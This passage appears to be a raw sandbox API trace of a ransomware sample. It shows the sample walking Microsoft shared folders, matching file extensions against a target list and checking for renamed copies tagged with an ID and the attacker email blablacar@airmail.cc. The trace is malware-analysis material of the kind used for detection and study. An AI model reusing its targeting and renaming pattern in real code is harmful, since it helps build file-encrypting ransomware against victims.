(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0093.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0093.086] lstrlenW (lpString=".doc") returned 4 [0093.086] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.086] lstrlenW (lpString=".docx") returned 5 [0093.086] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0093.086] lstrlenW (lpString=".pdf") returned 4 [0093.086] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.086] lstrlenW (lpString=".xls") returned 4 [0093.086] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.086] lstrlenW (lpString=".xlsx") returned 5 [0093.086] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0093.086] lstrlenW (lpString=".ppt") returned 4 [0093.086] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0093.086] lstrlenW (lpString=".zip") returned 4 [0093.086] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.086] lstrlenW (lpString=".rar") returned 4 [0093.086] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.086] lstrlenW (lpString=".bz2") returned 4 [0093.086] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.086] lstrlenW (lpString=".7z") returned 3 [0093.087] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0093.087] lstrlenW (lpString=".dbf") returned 4 [0093.087] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0093.087] lstrlenW (lpString=".1cd") returned 4 [0093.087] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0093.087] lstrlenW (lpString=".jpg") returned 4 [0093.087] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0093.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0093.087] lstrlenW (lpString=".doc") returned 4 [0093.087] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.087] lstrlenW (lpString=".docx") returned 5 [0093.087] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0093.087] lstrlenW (lpString=".pdf") returned 4 [0093.087] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.087] lstrlenW (lpString=".xls") returned 4 [0093.087] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.087] lstrlenW (lpString=".xlsx") returned 5 [0093.087] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0093.087] lstrlenW (lpString=".ppt") returned 4 [0093.087] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0093.088] lstrlenW (lpString=".zip") returned 4 [0093.088] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.088] lstrlenW (lpString=".rar") returned 4 [0093.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.097] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=2520) returned 1 [0093.097] CloseHandle (hObject=0x34c) returned 1 [0093.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0093.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0093.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0093.097] lstrlenW (lpString=".doc") returned 4 [0093.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0093.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0093.097] lstrlenW (lpString=".doc") returned 4 [0093.098] Sleep (dwMilliseconds=0x64) [0093.615] lstrcmpiW (lpString1=".htm", lpString2=".kr") returned -1 [0093.615] lstrlenW (lpString="Hand Prints.htm") returned 15 [0093.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.616] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=235) returned 1 [0093.616] CloseHandle (hObject=0x300) returned 1 [0093.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0093.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0093.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0093.617] lstrlenW (lpString=".doc") returned 4 [0093.617] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0093.617] lstrlenW (lpString=".docx") returned 5 [0093.617] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0093.617] lstrlenW (lpString=".pdf") returned 4 [0093.617] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0093.617] lstrlenW (lpString=".xls") returned 4 [0093.617] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0093.617] lstrlenW (lpString=".xlsx") returned 5 [0093.617] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0093.617] lstrlenW (lpString=".ppt") returned 4 [0093.617] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0093.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0093.618] lstrlenW (lpString=".zip") returned 4 [0093.618] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0093.618] lstrlenW (lpString=".rar") returned 4 [0093.618] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0093.618] lstrlenW (lpString=".bz2") returned 4 [0093.618] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0093.618] lstrlenW (lpString=".7z") returned 3 [0093.618] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0093.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0093.618] lstrlenW (lpString=".dbf") returned 4 [0093.618] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0093.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0093.618] lstrlenW (lpString=".1cd") returned 4 [0093.618] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0093.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0093.618] lstrlenW (lpString=".jpg") returned 4 [0093.618] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0093.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0093.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0093.618] lstrlenW (lpString=".doc") returned 4 [0093.618] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0093.618] lstrlenW (lpString=".docx") returned 5 [0093.618] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0093.619] lstrlenW (lpString=".pdf") returned 4 [0093.619] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0093.619] lstrlenW (lpString=".xls") returned 4 [0093.619] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0093.619] lstrlenW (lpString=".xlsx") returned 5 [0093.619] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0093.619] lstrlenW (lpString=".ppt") returned 4 [0093.619] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0093.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0093.619] lstrlenW (lpString=".zip") returned 4 [0093.619] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0093.619] lstrlenW (lpString=".rar") returned 4 [0093.619] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0093.619] lstrlenW (lpString=".bz2") returned 4 [0093.619] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0093.619] lstrlenW (lpString=".7z") returned 3 [0093.620] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0093.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0093.620] lstrlenW (lpString=".dbf") returned 4 [0093.620] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0093.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0093.620] lstrlenW (lpString=".1cd") returned 4 [0093.620] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0093.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0093.620] lstrlenW (lpString=".jpg") returned 4 [0093.620] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0093.620] lstrcmpiW (lpString1=".jpg", lpString2=".kr") returned -1 [0093.620] lstrlenW (lpString="HandPrints.jpg") returned 14 [0093.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.621] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=4222) returned 1 [0093.621] CloseHandle (hObject=0x300) returned 1 [0093.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0093.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0093.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0093.622] lstrlenW (lpString=".doc") returned 4 [0093.622] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0093.622] lstrlenW (lpString=".docx") returned 5 [0093.622] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0093.622] lstrlenW (lpString=".pdf") returned 4 [0093.622] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0093.622] lstrlenW (lpString=".xls") returned 4 [0093.622] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0093.622] lstrlenW (lpString=".xlsx") returned 5 [0093.622] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0093.622] lstrlenW (lpString=".ppt") returned 4 [0093.622] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0093.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0093.622] lstrlenW (lpString=".zip") returned 4 [0093.622] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0093.622] lstrlenW (lpString=".rar") returned 4 [0093.622] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0093.622] lstrlenW (lpString=".bz2") returned 4 [0093.622] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0093.622] lstrlenW (lpString=".7z") returned 3 [0093.622] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0093.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0093.622] lstrlenW (lpString=".dbf") returned 4 [0093.622] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0093.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0093.623] lstrlenW (lpString=".1cd") returned 4 [0093.623] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0093.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0093.623] lstrlenW (lpString=".jpg") returned 4 [0093.623] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0093.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0093.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0093.623] lstrlenW (lpString=".doc") returned 4 [0093.623] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0093.623] lstrlenW (lpString=".docx") returned 5 [0093.623] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0093.623] lstrlenW (lpString=".pdf") returned 4 [0093.623] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0093.623] lstrlenW (lpString=".xls") returned 4 [0093.623] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0093.623] lstrlenW (lpString=".xlsx") returned 5 [0093.623] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0093.623] lstrlenW (lpString=".ppt") returned 4 [0093.623] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0093.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0093.623] lstrlenW (lpString=".zip") returned 4 [0093.624] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0093.624] lstrlenW (lpString=".rar") returned 4 [0093.624] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0093.624] lstrlenW (lpString=".bz2") returned 4 [0093.624] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0093.624] lstrlenW (lpString=".7z") returned 3 [0093.624] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0093.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0093.624] lstrlenW (lpString=".dbf") returned 4 [0093.624] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0093.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0093.624] lstrlenW (lpString=".1cd") returned 4 [0093.624] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0093.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0093.624] lstrlenW (lpString=".jpg") returned 4 [0093.624] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0093.625] lstrcmpiW (lpString1=".htm", lpString2=".kr") returned -1 [0093.625] lstrlenW (lpString="Orange Circles.htm") returned 18 [0093.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.625] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=237) returned 1 [0093.625] CloseHandle (hObject=0x300) returned 1 [0093.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0093.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0093.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0093.626] lstrlenW (lpString=".doc") returned 4 [0093.626] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0093.626] lstrlenW (lpString=".docx") returned 5 [0093.626] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0093.626] lstrlenW (lpString=".pdf") returned 4 [0093.626] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0093.626] lstrlenW (lpString=".xls") returned 4 [0093.626] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0093.626] lstrlenW (lpString=".xlsx") returned 5 [0093.626] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0093.626] lstrlenW (lpString=".ppt") returned 4 [0093.626] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0093.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0093.626] lstrlenW (lpString=".zip") returned 4 [0093.627] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0093.627] lstrlenW (lpString=".rar") returned 4 [0093.627] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0093.627] lstrlenW (lpString=".bz2") returned 4 [0093.627] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0093.627] lstrlenW (lpString=".7z") returned 3 [0093.627] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0093.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0093.627] lstrlenW (lpString=".dbf") returned 4 [0093.627] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0093.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0093.627] lstrlenW (lpString=".1cd") returned 4 [0093.627] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0093.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0093.627] lstrlenW (lpString=".jpg") returned 4 [0093.627] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0093.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0093.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0093.627] lstrlenW (lpString=".doc") returned 4 [0093.627] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0093.627] lstrlenW (lpString=".docx") returned 5 [0093.627] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0093.627] lstrlenW (lpString=".pdf") returned 4 [0093.627] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0093.627] lstrlenW (lpString=".xls") returned 4 [0093.628] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0093.628] lstrlenW (lpString=".xlsx") returned 5 [0093.628] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0093.628] lstrlenW (lpString=".ppt") returned 4 [0093.628] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0093.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0093.628] lstrlenW (lpString=".zip") returned 4 [0093.628] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0093.628] lstrlenW (lpString=".rar") returned 4 [0093.628] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0093.628] lstrlenW (lpString=".bz2") returned 4 [0093.628] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0093.628] lstrlenW (lpString=".7z") returned 3 [0093.628] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0093.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0093.628] lstrlenW (lpString=".dbf") returned 4 [0093.628] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0093.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0093.628] lstrlenW (lpString=".1cd") returned 4 [0093.628] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0093.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0093.628] lstrlenW (lpString=".jpg") returned 4 [0093.628] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0093.629] lstrcmpiW (lpString1=".jpg", lpString2=".kr") returned -1 [0093.629] lstrlenW (lpString="OrangeCircles.jpg") returned 17 [0093.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.629] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=6381) returned 1 [0093.629] CloseHandle (hObject=0x300) returned 1 [0093.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0093.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0093.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0093.630] lstrlenW (lpString=".doc") returned 4 [0093.630] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0093.630] lstrlenW (lpString=".docx") returned 5 [0093.630] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0093.630] lstrlenW (lpString=".pdf") returned 4 [0093.630] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0093.630] lstrlenW (lpString=".xls") returned 4 [0093.630] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0093.630] lstrlenW (lpString=".xlsx") returned 5 [0093.630] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0093.630] lstrlenW (lpString=".ppt") returned 4 [0093.630] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0093.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0093.631] lstrlenW (lpString=".zip") returned 4 [0093.631] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0093.631] lstrlenW (lpString=".rar") returned 4 [0093.631] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0093.631] lstrlenW (lpString=".bz2") returned 4 [0093.631] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0093.631] lstrlenW (lpString=".7z") returned 3 [0093.631] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0093.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0093.631] lstrlenW (lpString=".dbf") returned 4 [0093.631] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0093.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0093.631] lstrcmpiW (lpString1=".htm", lpString2=".kr") returned -1 [0093.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.632] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=232) returned 1 [0093.632] CloseHandle (hObject=0x300) returned 1 [0093.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0093.632] GetFileAttributesW 